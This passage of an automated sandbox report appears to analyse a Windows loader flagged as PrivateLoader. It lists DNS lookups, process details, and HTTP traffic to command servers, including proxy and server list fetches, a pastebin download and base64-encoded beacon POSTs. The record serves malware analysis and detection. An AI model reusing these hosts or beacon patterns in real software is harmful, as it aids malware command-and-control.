Jul 24, 2024 17:27:36.504313946 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:36.504707098 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:36.504720926 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.018706083 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.018802881 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:37.023071051 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:37.023082018 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.023488045 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.041934013 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:37.084501982 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.546719074 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.546960115 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.547471046 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:37.547842979 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:37.547874928 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:37.547889948 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:37.547899008 CEST	443	49724	104.20.4.235	192.168.2.5
Jul 24, 2024 17:27:38.053617001 CEST	49725	80	192.168.2.5	172.67.133.215
Jul 24, 2024 17:27:38.060707092 CEST	80	49725	172.67.133.215	192.168.2.5
Jul 24, 2024 17:27:38.060821056 CEST	49725	80	192.168.2.5	172.67.133.215
Jul 24, 2024 17:27:38.060959101 CEST	49725	80	192.168.2.5	172.67.133.215
Jul 24, 2024 17:27:38.107289076 CEST	80	49725	172.67.133.215	192.168.2.5
Jul 24, 2024 17:27:38.895979881 CEST	80	49725	172.67.133.215	192.168.2.5
Jul 24, 2024 17:27:38.896150112 CEST	80	49725	172.67.133.215	192.168.2.5
Jul 24, 2024 17:27:38.896228075 CEST	49725	80	192.168.2.5	172.67.133.215
Jul 24, 2024 17:27:38.912261009 CEST	49726	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:27:38.920031071 CEST	80	49726	212.193.30.21	192.168.2.5
Jul 24, 2024 17:27:38.920129061 CEST	49726	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:27:38.920288086 CEST	49726	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:27:38.920495987 CEST	49726	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:27:38.925249100 CEST	80	49726	212.193.30.21	192.168.2.5
Jul 24, 2024 17:27:38.925308943 CEST	80	49726	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:00.338782072 CEST	80	49726	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:00.338963985 CEST	49726	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:00.339040041 CEST	49726	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:00.340441942 CEST	49729	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:00.343938112 CEST	80	49726	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:00.345361948 CEST	80	49729	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:00.345458984 CEST	49729	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:00.345628023 CEST	49729	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:00.345663071 CEST	49729	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:00.350780964 CEST	80	49729	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:00.350790977 CEST	80	49729	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:21.830554008 CEST	80	49729	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:21.830645084 CEST	49729	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:21.830719948 CEST	49729	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:21.832005978 CEST	49730	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:21.835539103 CEST	80	49729	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:21.836882114 CEST	80	49730	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:21.836966991 CEST	49730	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:21.837099075 CEST	49730	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:21.837116957 CEST	49730	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:21.842133045 CEST	80	49730	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:21.842617035 CEST	80	49730	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:41.146620035 CEST	49725	80	192.168.2.5	172.67.133.215
Jul 24, 2024 17:28:41.152208090 CEST	80	49725	172.67.133.215	192.168.2.5
Jul 24, 2024 17:28:41.152287960 CEST	49725	80	192.168.2.5	172.67.133.215
Jul 24, 2024 17:28:43.231699944 CEST	80	49730	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:43.231833935 CEST	49730	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:43.231946945 CEST	49730	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:43.233546019 CEST	49731	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:43.238523960 CEST	80	49730	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:43.238543034 CEST	80	49731	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:43.238655090 CEST	49731	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:43.238810062 CEST	49731	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:43.238838911 CEST	49731	80	192.168.2.5	212.193.30.21
Jul 24, 2024 17:28:43.244564056 CEST	80	49731	212.193.30.21	192.168.2.5
Jul 24, 2024 17:28:43.244579077 CEST	80	49731	212.193.30.21	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 24, 2024 17:26:51.124380112 CEST	60858	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:26:51.154299021 CEST	62056	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:26:51.171768904 CEST	53	62056	1.1.1.1	192.168.2.5
Jul 24, 2024 17:26:52.119126081 CEST	60858	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:26:53.131145000 CEST	60858	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:26:55.135660887 CEST	53	60858	1.1.1.1	192.168.2.5
Jul 24, 2024 17:26:55.135715961 CEST	53	60858	1.1.1.1	192.168.2.5
Jul 24, 2024 17:26:55.135817051 CEST	53	60858	1.1.1.1	192.168.2.5
Jul 24, 2024 17:27:36.495867014 CEST	59842	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:27:36.503290892 CEST	53	59842	1.1.1.1	192.168.2.5
Jul 24, 2024 17:27:37.550316095 CEST	57493	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:27:38.052373886 CEST	53	57493	1.1.1.1	192.168.2.5
Jul 24, 2024 17:27:38.899024963 CEST	52169	53	192.168.2.5	1.1.1.1
Jul 24, 2024 17:27:38.910533905 CEST	53	52169	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 24, 2024 17:26:51.124380112 CEST	192.168.2.5	1.1.1.1	0x9c5f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:26:51.154299021 CEST	192.168.2.5	1.1.1.1	0xfaf5	Standard query (0)	telegram.org	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:26:52.119126081 CEST	192.168.2.5	1.1.1.1	0x9c5f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:26:53.131145000 CEST	192.168.2.5	1.1.1.1	0x9c5f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:36.495867014 CEST	192.168.2.5	1.1.1.1	0x1d9f	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:37.550316095 CEST	192.168.2.5	1.1.1.1	0xccd1	Standard query (0)	wfsdragon.ru	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:38.899024963 CEST	192.168.2.5	1.1.1.1	0xc779	Standard query (0)	softs-portal.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 24, 2024 17:26:51.171768904 CEST	1.1.1.1	192.168.2.5	0xfaf5	No error (0)	telegram.org		149.154.167.99	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:26:55.135660887 CEST	1.1.1.1	192.168.2.5	0x9c5f	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:26:55.135715961 CEST	1.1.1.1	192.168.2.5	0x9c5f	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:26:55.135817051 CEST	1.1.1.1	192.168.2.5	0x9c5f	Server failure (2)	ddos.dnsnb8.net	none	none	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:36.503290892 CEST	1.1.1.1	192.168.2.5	0x1d9f	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:36.503290892 CEST	1.1.1.1	192.168.2.5	0x1d9f	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:36.503290892 CEST	1.1.1.1	192.168.2.5	0x1d9f	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:38.052373886 CEST	1.1.1.1	192.168.2.5	0xccd1	No error (0)	wfsdragon.ru		172.67.133.215	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:38.052373886 CEST	1.1.1.1	192.168.2.5	0xccd1	No error (0)	wfsdragon.ru		104.21.5.208	A (IP address)	IN (0x0001)	false
Jul 24, 2024 17:27:38.910533905 CEST	1.1.1.1	192.168.2.5	0xc779	Name error (3)	softs-portal.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

telegram.org

pastebin.com

212.193.30.45

212.193.30.29

wfsdragon.ru

212.193.30.21

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	212.193.30.45	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:26:52.516983032 CEST	203	OUT	GET /proxies.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 212.193.30.45

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	212.193.30.29	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:27:15.124949932 CEST	202	OUT	GET /server.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 212.193.30.29

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49725	172.67.133.215	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:27:38.060959101 CEST	207	OUT	GET /api/setStats.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: wfsdragon.ru
Jul 24, 2024 17:27:38.895979881 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Jul 2024 15:27:38 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8HEB0ODgbQzdwXbrO%2Fmpcx54rLT3TkSjyztoRT9GMG4OZ5uvC42Wh%2FHFnkCtG3M1maOMLwGfOWQirUg6Hnn8v1vkJfbpuzpi%2F3vDyLzjPstrI%2FskReRpENmzfzUQepU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a84ef7a1d151a30-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 34 36 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 [TRUNCATED] Data Ascii: 46e<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8a84ef7a1d151a30',t:'MTcyMTgzNDg1OC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.create
Jul 24, 2024 17:27:38.896150112 CEST	499	IN	Data Raw: 45 6c 65 6d 65 6e 74 28 27 69 66 72 61 6d 65 27 29 3b 61 2e 68 65 69 67 68 74 3d 31 3b 61 2e 77 69 64 74 68 3d 31 3b 61 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 27 61 62 73 6f 6c 75 74 65 27 3b 61 2e 73 74 79 6c 65 2e 74 6f 70 3d 30 3b 61 Data Ascii: Element('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49726	212.193.30.21	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:27:38.920288086 CEST	287	OUT	POST /service/communication.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 25 Host: 212.193.30.21
Jul 24, 2024 17:27:38.920495987 CEST	25	OUT	Data Raw: 64 61 74 61 3d 6d 37 6d 6f 69 72 6d 75 72 37 57 7a 73 71 44 73 38 75 51 3d Data Ascii: data=m7moirmur7WzsqDs8uQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49729	212.193.30.21	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:28:00.345628023 CEST	287	OUT	POST /service/communication.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 25 Host: 212.193.30.21
Jul 24, 2024 17:28:00.345663071 CEST	25	OUT	Data Raw: 64 61 74 61 3d 52 32 56 30 56 6d 56 79 63 32 6c 76 62 6e 77 77 4c 6a 67 3d Data Ascii: data=R2V0VmVyc2lvbnwwLjg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49730	212.193.30.21	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:28:21.837099075 CEST	287	OUT	POST /service/communication.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 25 Host: 212.193.30.21
Jul 24, 2024 17:28:21.837116957 CEST	25	OUT	Data Raw: 64 61 74 61 3d 6d 37 6d 6f 69 72 6d 75 72 37 57 7a 73 71 44 73 38 75 51 3d Data Ascii: data=m7moirmur7WzsqDs8uQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49731	212.193.30.21	80	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 17:28:43.238810062 CEST	287	OUT	POST /service/communication.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 25 Host: 212.193.30.21
Jul 24, 2024 17:28:43.238838911 CEST	25	OUT	Data Raw: 64 61 74 61 3d 52 32 56 30 56 6d 56 79 63 32 6c 76 62 6e 77 77 4c 6a 67 3d Data Ascii: data=R2V0VmVyc2lvbnwwLjg=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	149.154.167.99	443	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 15:26:52 UTC	191	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: telegram.org
2024-07-24 15:26:52 UTC	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 24 Jul 2024 15:26:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 19541 Connection: close Set-Cookie: stel_ssid=dd3949a2cafe5c78e4_15718661345566907739; expires=Thu, 25 Jul 2024 02:33:32 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-07-24 15:26:52 UTC	15936	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 20 4d 65 73 73 65 6e 67 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 20 e2 80 93 20 61 20 6e 65 77 20 65 72 61 20 6f 66 20 6d 65 73 73 61 67 69 6e 67 Data Ascii: <!DOCTYPE html><html class=""> <head> <meta charset="utf-8"> <title>Telegram Messenger</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" content="Telegram a new era of messaging
2024-07-24 15:26:52 UTC	3605	IN	Data Raw: 72 20 61 74 74 61 63 6b 73 2e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 63 65 6c 6c 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 70 69 63 74 75 72 65 20 63 6c 61 73 73 3d 22 64 65 76 5f 70 61 67 65 5f 74 67 73 74 69 63 6b 65 72 20 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 61 6e 69 6d 61 74 65 64 20 6a 73 2d 74 67 73 74 69 63 6b 65 72 5f 69 6d 61 67 65 22 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 6f 75 72 63 65 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 74 67 73 74 69 63 6b 65 72 22 20 73 72 63 73 Data Ascii: r attacks.</div> </div> </div> <div class="tl_main_card_cell"> <div class="tl_main_card_wrap"> <picture class="dev_page_tgsticker tl_main_card_animated js-tgsticker_image"><div></div><source type="application/x-tgsticker" srcs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49724	104.20.4.235	443	3792	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 15:27:37 UTC	203	OUT	GET /raw/A7dSG1te HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: pastebin.com
2024-07-24 15:27:37 UTC	436	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Jul 2024 15:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8a84ef70ddba72ab-EWR
2024-07-24 15:27:37 UTC	698	IN	Data Raw: 32 62 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 2b3<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-24 15:27:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:26:49
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe"
Imagebase:	0x310000
File size:	411'648 bytes
MD5 hash:	5AE2C7E495880D7E209A41158FD72984
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 00000000.00000000.2033107820.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	11:26:49
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\vXQpuA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\vXQpuA.exe
Imagebase:	0x610000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:26:55
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1392
Imagebase:	0x30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	59.7%
Total number of Nodes:	857
Total number of Limit Nodes:	14

Executed Functions

Function 00315BA0 Relevance: 49.5, APIs: 21, Strings: 5, Instructions: 3998COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00315D20
__aulldiv.LIBCMT ref: 00316187
__aulldiv.LIBCMT ref: 003163A3

Part of subcall function 003124D0: __aulldiv.LIBCMT ref: 0031253C
Part of subcall function 003124D0: __aulldiv.LIBCMT ref: 00312585

__aulldiv.LIBCMT ref: 0031668F
__aulldiv.LIBCMT ref: 00316918
__aulldiv.LIBCMT ref: 00316C0C

Part of subcall function 00312400: __aulldiv.LIBCMT ref: 00312482

__aulldiv.LIBCMT ref: 00317215
__aulldiv.LIBCMT ref: 00317633
__aulldiv.LIBCMT ref: 0031792C
__aulldiv.LIBCMT ref: 00318013
__aulldiv.LIBCMT ref: 003182C1
__aulldiv.LIBCMT ref: 00318C0E
__aulldiv.LIBCMT ref: 00319035
__aulldiv.LIBCMT ref: 00319528
__aulldiv.LIBCMT ref: 003197D5
__aulldiv.LIBCMT ref: 003198B1
__aulldiv.LIBCMT ref: 00319AC7
__aulldiv.LIBCMT ref: 00319ED0

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00315D87
Content-Type: application/x-www-form-urlencoded, xrefs: 00319B2E
Content-Type: application/x-www-form-urlencoded, xrefs: 00318C75
Content-Type: application/x-www-form-urlencoded, xrefs: 00317B97
